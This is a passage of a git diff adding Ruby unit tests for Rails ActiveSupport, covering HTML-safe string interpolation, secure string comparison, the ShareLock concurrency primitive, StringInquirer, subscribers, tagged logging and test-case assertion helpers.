+    # should still be unsafe
+    assert !y.html_safe?, "should not be safe"
+  end
+
+  test "Should work with interpolation (array argument)" do
+    x = "foo %s bar".html_safe % ["qux"]
+    assert_equal "foo qux bar", x
+  end
+
+  test "Should work with interpolation (hash argument)" do
+    x = "foo %{x} bar".html_safe % { x: "qux" }
+    assert_equal "foo qux bar", x
+  end
+
+  test "Should escape unsafe interpolated args" do
+    x = "foo %{x} bar".html_safe % { x: "<br/>" }
+    assert_equal "foo &lt;br/&gt; bar", x
+  end
+
+  test "Should not escape safe interpolated args" do
+    x = "foo %{x} bar".html_safe % { x: "<br/>".html_safe }
+    assert_equal "foo <br/> bar", x
+  end
+
+  test "Should interpolate to a safe string" do
+    x = "foo %{x} bar".html_safe % { x: "qux" }
+    assert x.html_safe?, "should be safe"
+  end
+
+  test "Should not affect frozen objects when accessing characters" do
+    x = "Hello".html_safe
+    assert_nil x[/a/, 1]
+  end
+end
diff --git a/activesupport/test/security_utils_test.rb b/activesupport/test/security_utils_test.rb
new file mode 100644
index 0000000000..efd2bcfa0f
--- /dev/null
+++ b/activesupport/test/security_utils_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/security_utils"
+
+class SecurityUtilsTest < ActiveSupport::TestCase
+  def test_secure_compare_should_perform_string_comparison
+    assert ActiveSupport::SecurityUtils.secure_compare("a", "a")
+    assert_not ActiveSupport::SecurityUtils.secure_compare("a", "b")
+  end
+
+  def test_variable_size_secure_compare_should_perform_string_comparison
+    assert ActiveSupport::SecurityUtils.variable_size_secure_compare("a", "a")
+    assert_not ActiveSupport::SecurityUtils.variable_size_secure_compare("a", "b")
+  end
+end
diff --git a/activesupport/test/share_lock_test.rb b/activesupport/test/share_lock_test.rb
new file mode 100644
index 0000000000..42fd5eefc1
--- /dev/null
+++ b/activesupport/test/share_lock_test.rb
@@ -0,0 +1,580 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "concurrent/atomic/count_down_latch"
+require "active_support/concurrency/share_lock"
+
+class ShareLockTest < ActiveSupport::TestCase
+  def setup
+    @lock = ActiveSupport::Concurrency::ShareLock.new
+  end
+
+  def test_reentrancy
+    thread = Thread.new do
+      @lock.sharing   { @lock.sharing   {} }
+      @lock.exclusive { @lock.exclusive {} }
+    end
+    assert_threads_not_stuck thread
+  end
+
+  def test_sharing_doesnt_block
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_latch|
+      assert_threads_not_stuck(Thread.new { @lock.sharing {} })
+    end
+  end
+
+  def test_sharing_blocks_exclusive
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      @lock.exclusive(no_wait: true) { flunk } # polling should fail
+      exclusive_thread = Thread.new { @lock.exclusive {} }
+      assert_threads_stuck_but_releasable_by_latch exclusive_thread, sharing_thread_release_latch
+    end
+  end
+
+  def test_exclusive_blocks_sharing
+    with_thread_waiting_in_lock_section(:exclusive) do |exclusive_thread_release_latch|
+      sharing_thread = Thread.new { @lock.sharing {} }
+      assert_threads_stuck_but_releasable_by_latch sharing_thread, exclusive_thread_release_latch
+    end
+  end
+
+  def test_multiple_exlusives_are_able_to_progress
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      exclusive_threads = (1..2).map do
+        Thread.new do
+          @lock.exclusive {}
+        end
+      end
+
+      assert_threads_stuck_but_releasable_by_latch exclusive_threads, sharing_thread_release_latch
+    end
+  end
+
+  def test_sharing_is_upgradeable_to_exclusive
+    upgrading_thread = Thread.new do
+      @lock.sharing do
+        @lock.exclusive {}
+      end
+    end
+    assert_threads_not_stuck upgrading_thread
+  end
+
+  def test_exclusive_upgrade_waits_for_other_sharers_to_leave
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      in_sharing = Concurrent::CountDownLatch.new
+
+      upgrading_thread = Thread.new do
+        @lock.sharing do
+          in_sharing.count_down
+          @lock.exclusive {}
+        end
+      end
+
+      in_sharing.wait
+      assert_threads_stuck_but_releasable_by_latch upgrading_thread, sharing_thread_release_latch
+    end
+  end
+
+  def test_exclusive_matching_purpose
+    [true, false].each do |use_upgrading|
+      with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+        exclusive_threads = (1..2).map do
+          Thread.new do
+            @lock.send(use_upgrading ? :sharing : :tap) do
+              @lock.exclusive(purpose: :load, compatible: [:load, :unload]) {}
+            end
+          end
+        end
+
+        assert_threads_stuck_but_releasable_by_latch exclusive_threads, sharing_thread_release_latch
+      end
+    end
+  end
+
+  def test_killed_thread_loses_lock
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      thread = Thread.new do
+        @lock.sharing do
+          @lock.exclusive {}
+        end
+      end
+
+      assert_threads_stuck thread
+      thread.kill
+
+      sharing_thread_release_latch.count_down
+
+      thread = Thread.new do
+        @lock.exclusive {}
+      end
+
+      assert_threads_not_stuck thread
+    end
+  end
+
+  def test_exclusive_conflicting_purpose
+    [true, false].each do |use_upgrading|
+      with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+        begin
+          together = Concurrent::CyclicBarrier.new(2)
+          conflicting_exclusive_threads = [
+            Thread.new do
+              @lock.send(use_upgrading ? :sharing : :tap) do
+                together.wait
+                @lock.exclusive(purpose: :red, compatible: [:green, :purple]) {}
+              end
+            end,
+            Thread.new do
+              @lock.send(use_upgrading ? :sharing : :tap) do
+                together.wait
+                @lock.exclusive(purpose: :blue, compatible: [:green]) {}
+              end
+            end
+          ]
+
+          assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks
+
+          # This thread will be stuck as long as any other thread is in
+          # a sharing block. While it's blocked, it holds no lock, so it
+          # doesn't interfere with any other attempts.
+          no_purpose_thread = Thread.new do
+            @lock.exclusive {}
+          end
+          assert_threads_stuck no_purpose_thread
+
+          # This thread is compatible with both of the "primary"
+          # attempts above. It's initially stuck on the outer share
+          # lock, but as soon as that's released, it can run --
+          # regardless of whether those threads hold share locks.
+          compatible_thread = Thread.new do
+            @lock.exclusive(purpose: :green, compatible: []) {}
+          end
+          assert_threads_stuck compatible_thread
+
+          assert_threads_stuck conflicting_exclusive_threads
+
+          sharing_thread_release_latch.count_down
+
+          assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through
+
+          if use_upgrading
+            # The "primary" threads both each hold a share lock, and are
+            # mutually incompatible; they're still stuck.
+            assert_threads_stuck conflicting_exclusive_threads
+
+            # The thread without a specified purpose is also stuck; it's
+            # not compatible with anything.
+            assert_threads_stuck no_purpose_thread
+          else
+            # As the primaries didn't hold a share lock, as soon as the
+            # outer one was released, all the exclusive locks are free
+            # to be acquired in turn.
+
+            assert_threads_not_stuck conflicting_exclusive_threads
+            assert_threads_not_stuck no_purpose_thread
+          end
+        ensure
+          conflicting_exclusive_threads.each(&:kill)
+          no_purpose_thread.kill
+        end
+      end
+    end
+  end
+
+  def test_exclusive_ordering
+    scratch_pad       = []
+    scratch_pad_mutex = Mutex.new
+
+    load_params   = [:load,   [:load]]
+    unload_params = [:unload, [:unload, :load]]
+
+    all_sharing = Concurrent::CyclicBarrier.new(4)
+
+    [load_params, load_params, unload_params, unload_params].permutation do |thread_params|
+      with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+        threads = thread_params.map do |purpose, compatible|
+          Thread.new do
+            @lock.sharing do
+              all_sharing.wait
+              @lock.exclusive(purpose: purpose, compatible: compatible) do
+                scratch_pad_mutex.synchronize { scratch_pad << purpose }
+              end
+            end
+          end
+        end
+
+        sleep(0.01)
+        scratch_pad_mutex.synchronize { assert_empty scratch_pad }
+
+        sharing_thread_release_latch.count_down
+
+        assert_threads_not_stuck threads
+        scratch_pad_mutex.synchronize do
+          assert_equal [:load, :load, :unload, :unload], scratch_pad
+          scratch_pad.clear
+        end
+      end
+    end
+  end
+
+  def test_new_share_attempts_block_on_waiting_exclusive
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      release_exclusive = Concurrent::CountDownLatch.new
+
+      waiting_exclusive = Thread.new do
+        @lock.sharing do
+          @lock.exclusive do
+            release_exclusive.wait
+          end
+        end
+      end
+      assert_threads_stuck waiting_exclusive
+
+      late_share_attempt = Thread.new do
+        @lock.sharing {}
+      end
+      assert_threads_stuck late_share_attempt
+
+      sharing_thread_release_latch.count_down
+      assert_threads_stuck late_share_attempt
+
+      release_exclusive.count_down
+      assert_threads_not_stuck late_share_attempt
+    end
+  end
+
+  def test_share_remains_reentrant_ignoring_a_waiting_exclusive
+    with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+      ready = Concurrent::CyclicBarrier.new(2)
+      attempt_reentrancy = Concurrent::CountDownLatch.new
+
+      sharer = Thread.new do
+        @lock.sharing do
+          ready.wait
+          attempt_reentrancy.wait
+          @lock.sharing {}
+        end
+      end
+
+      exclusive = Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.exclusive {}
+        end
+      end
+
+      assert_threads_stuck exclusive
+
+      attempt_reentrancy.count_down
+
+      assert_threads_not_stuck sharer
+      assert_threads_stuck exclusive
+    end
+  end
+
+  def test_compatible_exclusives_cooperate_to_both_proceed
+    ready = Concurrent::CyclicBarrier.new(2)
+    done = Concurrent::CyclicBarrier.new(2)
+
+    threads = 2.times.map do
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.exclusive(purpose: :x, compatible: [:x], after_compatible: [:x]) {}
+          done.wait
+        end
+      end
+    end
+
+    assert_threads_not_stuck threads
+  end
+
+  def test_manual_yield
+    ready = Concurrent::CyclicBarrier.new(2)
+    done = Concurrent::CyclicBarrier.new(2)
+
+    threads = [
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.exclusive(purpose: :x) {}
+          done.wait
+        end
+      end,
+
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.yield_shares(compatible: [:x]) do
+            done.wait
+          end
+        end
+      end,
+    ]
+
+    assert_threads_not_stuck threads
+  end
+
+  def test_manual_incompatible_yield
+    ready = Concurrent::CyclicBarrier.new(2)
+    done = Concurrent::CyclicBarrier.new(2)
+
+    threads = [
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.exclusive(purpose: :x) {}
+          done.wait
+        end
+      end,
+
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.yield_shares(compatible: [:y]) do
+            done.wait
+          end
+        end
+      end,
+    ]
+
+    assert_threads_stuck threads
+  ensure
+    threads.each(&:kill) if threads
+  end
+
+  def test_manual_recursive_yield
+    ready = Concurrent::CyclicBarrier.new(2)
+    done = Concurrent::CyclicBarrier.new(2)
+    do_nesting = Concurrent::CountDownLatch.new
+
+    threads = [
+      Thread.new do
+        @lock.sharing do
+          ready.wait
+          @lock.exclusive(purpose: :x) {}
+          done.wait
+        end
+      end,
+
+      Thread.new do
+        @lock.sharing do
+          @lock.yield_shares(compatible: [:x]) do
+            @lock.sharing do
+              ready.wait
+              do_nesting.wait
+              @lock.yield_shares(compatible: [:x, :y]) do
+                done.wait
+              end
+            end
+          end
+        end
+      end
+    ]
+
+    assert_threads_stuck threads
+    do_nesting.count_down
+
+    assert_threads_not_stuck threads
+  end
+
+  def test_manual_recursive_yield_cannot_expand_outer_compatible
+    ready = Concurrent::CyclicBarrier.new(2)
+    do_compatible_nesting = Concurrent::CountDownLatch.new
+    in_compatible_nesting = Concurrent::CountDownLatch.new
+
+    incompatible_thread = Thread.new do
+      @lock.sharing do
+        ready.wait
+        @lock.exclusive(purpose: :x) {}
+      end
+    end
+
+    yield_shares_thread = Thread.new do
+      @lock.sharing do
+        ready.wait
+        @lock.yield_shares(compatible: [:y]) do
+          do_compatible_nesting.wait
+          @lock.sharing do
+            @lock.yield_shares(compatible: [:x, :y]) do
+              in_compatible_nesting.wait
+            end
+          end
+        end
+      end
+    end
+
+    assert_threads_stuck incompatible_thread
+    do_compatible_nesting.count_down
+    assert_threads_stuck incompatible_thread
+    in_compatible_nesting.count_down
+    assert_threads_not_stuck [yield_shares_thread, incompatible_thread]
+  end
+
+  def test_manual_recursive_yield_restores_previous_compatible
+    ready = Concurrent::CyclicBarrier.new(2)
+    do_nesting = Concurrent::CountDownLatch.new
+    after_nesting = Concurrent::CountDownLatch.new
+
+    incompatible_thread = Thread.new do
+      ready.wait
+      @lock.exclusive(purpose: :z) {}
+    end
+
+    recursive_yield_shares_thread = Thread.new do
+      @lock.sharing do
+        ready.wait
+        @lock.yield_shares(compatible: [:y]) do
+          do_nesting.wait
+          @lock.sharing do
+            @lock.yield_shares(compatible: [:x, :y]) {}
+          end
+          after_nesting.wait
+        end
+      end
+    end
+
+    assert_threads_stuck incompatible_thread
+    do_nesting.count_down
+    assert_threads_stuck incompatible_thread
+
+    compatible_thread = Thread.new do
+      @lock.exclusive(purpose: :y) {}
+    end
+    assert_threads_not_stuck compatible_thread
+
+    post_nesting_incompatible_thread = Thread.new do
+      @lock.exclusive(purpose: :x) {}
+    end
+    assert_threads_stuck post_nesting_incompatible_thread
+
+    after_nesting.count_down
+    assert_threads_not_stuck recursive_yield_shares_thread
+    # post_nesting_incompatible_thread can now proceed
+    assert_threads_not_stuck post_nesting_incompatible_thread
+    # assert_threads_not_stuck can now proceed
+    assert_threads_not_stuck incompatible_thread
+  end
+
+  def test_in_shared_section_incompatible_non_upgrading_threads_cannot_preempt_upgrading_threads
+    scratch_pad       = []
+    scratch_pad_mutex = Mutex.new
+
+    upgrading_load_params       = [:load,   [:load],          true]
+    non_upgrading_unload_params = [:unload, [:load, :unload], false]
+
+    [upgrading_load_params, non_upgrading_unload_params].permutation do |thread_params|
+      with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
+        threads = thread_params.map do |purpose, compatible, use_upgrading|
+          Thread.new do
+            @lock.send(use_upgrading ? :sharing : :tap) do
+              @lock.exclusive(purpose: purpose, compatible: compatible) do
+                scratch_pad_mutex.synchronize { scratch_pad << purpose }
+              end
+            end
+          end
+        end
+
+        assert_threads_stuck threads
+        scratch_pad_mutex.synchronize { assert_empty scratch_pad }
+
+        sharing_thread_release_latch.count_down
+
+        assert_threads_not_stuck threads
+        scratch_pad_mutex.synchronize do
+          assert_equal [:load, :unload], scratch_pad
+          scratch_pad.clear
+        end
+      end
+    end
+  end
+
+  private
+
+    module CustomAssertions
+      SUFFICIENT_TIMEOUT = 0.2
+
+      private
+
+        def assert_threads_stuck_but_releasable_by_latch(threads, latch)
+          assert_threads_stuck threads
+          latch.count_down
+          assert_threads_not_stuck threads
+        end
+
+        def assert_threads_stuck(threads)
+          sleep(SUFFICIENT_TIMEOUT) # give threads time to do their business
+          assert(Array(threads).all? { |t| t.join(0.001).nil? })
+        end
+
+        def assert_threads_not_stuck(threads)
+          assert(Array(threads).all? { |t| t.join(SUFFICIENT_TIMEOUT) })
+        end
+    end
+
+    class CustomAssertionsTest < ActiveSupport::TestCase
+      include CustomAssertions
+
+      def setup
+        @latch = Concurrent::CountDownLatch.new
+        @thread = Thread.new { @latch.wait }
+      end
+
+      def teardown
+        @latch.count_down
+        @thread.join
+      end
+
+      def test_happy_path
+        assert_threads_stuck_but_releasable_by_latch @thread, @latch
+      end
+
+      def test_detects_stuck_thread
+        assert_raises(Minitest::Assertion) do
+          assert_threads_not_stuck @thread
+        end
+      end
+
+      def test_detects_free_thread
+        @latch.count_down
+        assert_raises(Minitest::Assertion) do
+          assert_threads_stuck @thread
+        end
+      end
+
+      def test_detects_already_released
+        @latch.count_down
+        assert_raises(Minitest::Assertion) do
+          assert_threads_stuck_but_releasable_by_latch @thread, @latch
+        end
+      end
+
+      def test_detects_remains_latched
+        another_latch = Concurrent::CountDownLatch.new
+        assert_raises(Minitest::Assertion) do
+          assert_threads_stuck_but_releasable_by_latch @thread, another_latch
+        end
+      end
+    end
+
+    include CustomAssertions
+
+    def with_thread_waiting_in_lock_section(lock_section)
+      in_section      = Concurrent::CountDownLatch.new
+      section_release = Concurrent::CountDownLatch.new
+
+      stuck_thread = Thread.new do
+        @lock.send(lock_section) do
+          in_section.count_down
+          section_release.wait
+        end
+      end
+
+      in_section.wait
+
+      yield section_release
+    ensure
+      section_release.count_down
+      stuck_thread.join # clean up
+    end
+end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
new file mode 100644
index 0000000000..bf8f878a32
--- /dev/null
+++ b/activesupport/test/string_inquirer_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class StringInquirerTest < ActiveSupport::TestCase
+  def setup
+    @string_inquirer = ActiveSupport::StringInquirer.new("production")
+  end
+
+  def test_match
+    assert @string_inquirer.production?
+  end
+
+  def test_miss
+    assert_not @string_inquirer.development?
+  end
+
+  def test_missing_question_mark
+    assert_raise(NoMethodError) { @string_inquirer.production }
+  end
+
+  def test_respond_to
+    assert_respond_to @string_inquirer, :development?
+  end
+
+  def test_respond_to_fallback_to_string_respond_to
+    String.class_eval do
+      def respond_to_missing?(name, include_private = false)
+        (name == :bar) || super
+      end
+    end
+    str = ActiveSupport::StringInquirer.new("hello")
+
+    assert_respond_to str, :are_you_ready?
+    assert_respond_to str, :bar
+    assert_not_respond_to str, :nope
+
+  ensure
+    String.class_eval do
+      undef_method :respond_to_missing?
+      def respond_to_missing?(name, include_private = false)
+        super
+      end
+    end
+  end
+end
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
new file mode 100644
index 0000000000..6b012e43af
--- /dev/null
+++ b/activesupport/test/subscriber_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/subscriber"
+
+class TestSubscriber < ActiveSupport::Subscriber
+  attach_to :doodle
+
+  cattr_reader :events
+
+  def self.clear
+    @@events = []
+  end
+
+  def open_party(event)
+    events << event
+  end
+
+  private
+
+    def private_party(event)
+      events << event
+    end
+end
+
+# Monkey patch subscriber to test that only one subscriber per method is added.
+class TestSubscriber
+  remove_method :open_party
+  def open_party(event)
+    events << event
+  end
+end
+
+class SubscriberTest < ActiveSupport::TestCase
+  def setup
+    TestSubscriber.clear
+  end
+
+  def test_attaches_subscribers
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal "open_party.doodle", TestSubscriber.events.first.name
+  end
+
+  def test_attaches_only_one_subscriber
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal 1, TestSubscriber.events.size
+  end
+
+  def test_does_not_attach_private_methods
+    ActiveSupport::Notifications.instrument("private_party.doodle")
+
+    assert_equal [], TestSubscriber.events
+  end
+end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
new file mode 100644
index 0000000000..5fd6a6b316
--- /dev/null
+++ b/activesupport/test/tagged_logging_test.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/logger"
+require "active_support/tagged_logging"
+
+class TaggedLoggingTest < ActiveSupport::TestCase
+  class MyLogger < ::ActiveSupport::Logger
+    def flush(*)
+      info "[FLUSHED]"
+    end
+  end
+
+  setup do
+    @output = StringIO.new
+    @logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@output))
+  end
+
+  test "sets logger.formatter if missing and extends it with a tagging API" do
+    logger = Logger.new(StringIO.new)
+    assert_nil logger.formatter
+    ActiveSupport::TaggedLogging.new(logger)
+    assert_not_nil logger.formatter
+    assert logger.formatter.respond_to?(:tagged)
+  end
+
+  test "tagged once" do
+    @logger.tagged("BCX") { @logger.info "Funky time" }
+    assert_equal "[BCX] Funky time\n", @output.string
+  end
+
+  test "tagged twice" do
+    @logger.tagged("BCX") { @logger.tagged("Jason") { @logger.info "Funky time" } }
+    assert_equal "[BCX] [Jason] Funky time\n", @output.string
+  end
+
+  test "tagged thrice at once" do
+    @logger.tagged("BCX", "Jason", "New") { @logger.info "Funky time" }
+    assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+  end
+
+  test "tagged are flattened" do
+    @logger.tagged("BCX", %w(Jason New)) { @logger.info "Funky time" }
+    assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+  end
+
+  test "push and pop tags directly" do
+    assert_equal %w(A B C), @logger.push_tags("A", ["B", "  ", ["C"]])
+    @logger.info "a"
+    assert_equal %w(C), @logger.pop_tags
+    @logger.info "b"
+    assert_equal %w(B), @logger.pop_tags(1)
+    @logger.info "c"
+    assert_equal [], @logger.clear_tags!
+    @logger.info "d"
+    assert_equal "[A] [B] [C] a\n[A] [B] b\n[A] c\nd\n", @output.string
+  end
+
+  test "does not strip message content" do
+    @logger.info "  Hello"
+    assert_equal "  Hello\n", @output.string
+  end
+
+  test "provides access to the logger instance" do
+    @logger.tagged("BCX") { |logger| logger.info "Funky time" }
+    assert_equal "[BCX] Funky time\n", @output.string
+  end
+
+  test "tagged once with blank and nil" do
+    @logger.tagged(nil, "", "New") { @logger.info "Funky time" }
+    assert_equal "[New] Funky time\n", @output.string
+  end
+
+  test "keeps each tag in their own thread" do
+    @logger.tagged("BCX") do
+      Thread.new do
+        @logger.tagged("OMG") { @logger.info "Cool story" }
+      end.join
+      @logger.info "Funky time"
+    end
+    assert_equal "[OMG] Cool story\n[BCX] Funky time\n", @output.string
+  end
+
+  test "keeps each tag in their own instance" do
+    @other_output = StringIO.new
+    @other_logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@other_output))
+    @logger.tagged("OMG") do
+      @other_logger.tagged("BCX") do
+        @logger.info "Cool story"
+        @other_logger.info "Funky time"
+      end
+    end
+    assert_equal "[OMG] Cool story\n", @output.string
+    assert_equal "[BCX] Funky time\n", @other_output.string
+  end
+
+  test "cleans up the taggings on flush" do
+    @logger.tagged("BCX") do
+      Thread.new do
+        @logger.tagged("OMG") do
+          @logger.flush
+          @logger.info "Cool story"
+        end
+      end.join
+    end
+    assert_equal "[FLUSHED]\nCool story\n", @output.string
+  end
+
+  test "mixed levels of tagging" do
+    @logger.tagged("BCX") do
+      @logger.tagged("Jason") { @logger.info "Funky time" }
+      @logger.info "Junky time!"
+    end
+
+    assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string
+  end
+end
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
new file mode 100644
index 0000000000..8830c9b348
--- /dev/null
+++ b/activesupport/test/test_case_test.rb
@@ -0,0 +1,339 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class AssertDifferenceTest < ActiveSupport::TestCase
+  def setup
+    @object = Class.new do
+      attr_accessor :num
+      def increment
+        self.num += 1
+      end
+
+      def decrement
+        self.num -= 1
+      end
+    end.new
+    @object.num = 0
+  end
+
+  def test_assert_not
+    assert_equal true, assert_not(nil)
+    assert_equal true, assert_not(false)
+
+    e = assert_raises(Minitest::Assertion) { assert_not true }
+    assert_equal "Expected true to be nil or false", e.message
+
+    e = assert_raises(Minitest::Assertion) { assert_not true, "custom" }
+    assert_equal "custom", e.message
+  end
+
+  def test_assert_no_difference_pass
+    assert_no_difference "@object.num" do
+      # ...
+    end
+  end
+
+  def test_assert_no_difference_fail
+    error = assert_raises(Minitest::Assertion) do
+      assert_no_difference "@object.num" do
+        @object.increment
+      end
+    end
+    assert_equal "\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_no_difference_with_message_fail
+    error = assert_raises(Minitest::Assertion) do
+      assert_no_difference "@object.num", "Object Changed" do
+        @object.increment
+      end
+    end
+    assert_equal "Object Changed.\n\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_difference
+    assert_difference "@object.num", +1 do
+      @object.increment
+    end
+  end
+
+  def test_assert_difference_retval
+    incremented = assert_difference "@object.num", +1 do
+      @object.increment
+    end
+
+    assert_equal incremented, 1
+  end
+
+  def test_assert_difference_with_implicit_difference
+    assert_difference "@object.num" do
+      @object.increment
+    end
+  end
+
+  def test_arbitrary_expression
+    assert_difference "@object.num + 1", +2 do
+      @object.increment
+      @object.increment
+    end
+  end
+
+  def test_negative_differences
+    assert_difference "@object.num", -1 do
+      @object.decrement
+    end
+  end
+
+  def test_expression_is_evaluated_in_the_appropriate_scope
+    silence_warnings do
+      local_scope = local_scope = "foo"
+      assert_difference("local_scope; @object.num") { @object.increment }
+    end
+  end
+
+  def test_array_of_expressions
+    assert_difference [ "@object.num", "@object.num + 1" ], +1 do
+      @object.increment
+    end
+  end
+
+  def test_array_of_expressions_identify_failure
+    assert_raises(Minitest::Assertion) do
+      assert_difference ["@object.num", "1 + 1"] do
+        @object.increment
+      end
+    end
+  end
+
+  def test_array_of_expressions_identify_failure_when_message_provided
+    assert_raises(Minitest::Assertion) do
+      assert_difference ["@object.num", "1 + 1"], 1, "something went wrong" do
+        @object.increment
+      end
+    end
+  end
+
+  def test_assert_changes_pass
+    assert_changes "@object.num" do
+      @object.increment
+    end
+  end
+
+  def test_assert_changes_pass_with_lambda
+    assert_changes -> { @object.num } do
+      @object.increment
+    end
+  end
+
+  def test_assert_changes_with_from_option
+    assert_changes "@object.num", from: 0 do
+      @object.increment
+    end
+  end
+
+  def test_assert_changes_with_from_option_with_wrong_value
+    assert_raises Minitest::Assertion do
+      assert_changes "@object.num", from: -1 do
+        @object.increment
+      end
+    end
+  end
+
+  def test_assert_changes_with_from_option_with_nil
+    error = assert_raises Minitest::Assertion do
+      assert_changes "@object.num", from: nil do
+        @object.increment
+      end
+    end
+    assert_equal "\"@object.num\" isn't nil", error.message
+  end
+
+  def test_assert_changes_with_to_option
+    assert_changes "@object.num", to: 1 do
+      @object.increment
+    end
+  end
+
+  def test_assert_changes_with_wrong_to_option
+    assert_raises Minitest::Assertion do
+      assert_changes "@object.num", to: 2 do
+        @object.increment
+      end
+    end
+  end
+
+  def test_assert_changes_with_from_option_and_to_option
+    assert_changes "@object.num", from: 0, to: 1 do
+      @object.increment
+    end
+  end
+
+  def test_assert_changes_with_from_and_to_options_and_wrong_to_value
+    assert_raises Minitest::Assertion do
+      assert_changes "@object.num", from: 0, to: 2 do
+        @object.increment
+      end
+    end
+  end
+
+  def test_assert_changes_works_with_any_object
+    retval = silence_warnings do
+      assert_changes :@new_object, from: nil, to: 42 do
+        @new_object = 42
+      end
+    end
+
+    assert_equal 42, retval
+  end
+
+  def test_assert_changes_works_with_nil
+    oldval = @object
+
+    retval = assert_changes :@object, from: oldval, to: nil do
+      @object = nil
+    end
+
+    assert_nil retval
+  end
+
+  def test_assert_changes_with_to_and_case_operator
+    token = nil
+
+    assert_changes "token", to: /\w{32}/ do
+      token = SecureRandom.hex
+    end
+  end
+
+  def test_assert_changes_with_to_and_from_and_case_operator
+    token = SecureRandom.hex
+
+    assert_changes "token", from: /\w{32}/, to: /\w{32}/ do
+      token = SecureRandom.hex
+    end
+  end
+
+  def test_assert_changes_with_message
+    error = assert_raises Minitest::Assertion do
+      assert_changes "@object.num", "@object.num should 1", to: 1 do
+      end
+    end
+
+    assert_equal "@object.num should 1.\n\"@object.num\" didn't change to 1", error.message
+  end
+
+  def test_assert_no_changes_pass
+    assert_no_changes "@object.num" do
+      # ...
+    end
+  end
+
+  def test_assert_no_changes_with_message
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes "@object.num", "@object.num should not change" do
+        @object.increment
+      end
+    end
+
+    assert_equal "@object.num should not change.\n\"@object.num\" did change to 1.\nExpected: 0\n  Actual: 1", error.message
+  end
+end
+
+# Setup and teardown callbacks.
+class SetupAndTeardownTest < ActiveSupport::TestCase
+  setup :reset_callback_record, :foo
+  teardown :foo, :sentinel
+
+  def test_inherited_setup_callbacks
+    assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:raw_filter)
+    assert_equal [:foo], @called_back
+    assert_equal [:foo, :sentinel], self.class._teardown_callbacks.map(&:raw_filter)
+  end
+
+  def setup
+  end
+
+  def teardown
+  end
+
+  private
+
+    def reset_callback_record
+      @called_back = []
+    end
+
+    def foo
+      @called_back << :foo
+    end
+
+    def sentinel
+      assert_equal [:foo], @called_back
+    end
+end
+
+class SubclassSetupAndTeardownTest < SetupAndTeardownTest
+  setup :bar
+  teardown :bar
+
+  def test_inherited_setup_callbacks
+    assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:raw_filter)
+    assert_equal [:foo, :bar], @called_back
+    assert_equal [:foo, :sentinel, :bar], self.class._teardown_callbacks.map(&:raw_filter)
+  end
+
+  private
+    def bar
+      @called_back << :bar
+    end
+
+    def sentinel
+      assert_equal [:foo, :bar, :bar], @called_back
+    end
+end
+
+class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
+  def before_setup
+    require "stringio"
+    @out = StringIO.new
+    self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
+    super
+  end
+
+  def test_logs_tagged_with_current_test_case
+    assert_match "#{self.class}: #{name}\n", @out.string
+  end
+end
+
+class TestOrderTest < ActiveSupport::TestCase
+  def setup
+    @original_test_order = ActiveSupport::TestCase.test_order
+  end
+
+  def teardown
+    ActiveSupport::TestCase.test_order = @original_test_order
+  end
+
+  def test_defaults_to_random
+    ActiveSupport::TestCase.test_order = nil
+
+    assert_equal :random, ActiveSupport::TestCase.test_order
+
+    assert_equal :random, ActiveSupport.test_order
+  end
+
+  def test_test_order_is_global
+    ActiveSupport::TestCase.test_order = :sorted
+
+    assert_equal :sorted, ActiveSupport.test_order
+    assert_equal :sorted, ActiveSupport::TestCase.test_order
+    assert_equal :sorted, self.class.test_order
+    assert_equal :sorted, Class.new(ActiveSupport::TestCase).test_order
+
+    ActiveSupport.test_order = :random
+
+    assert_equal :random, ActiveSupport.test_order
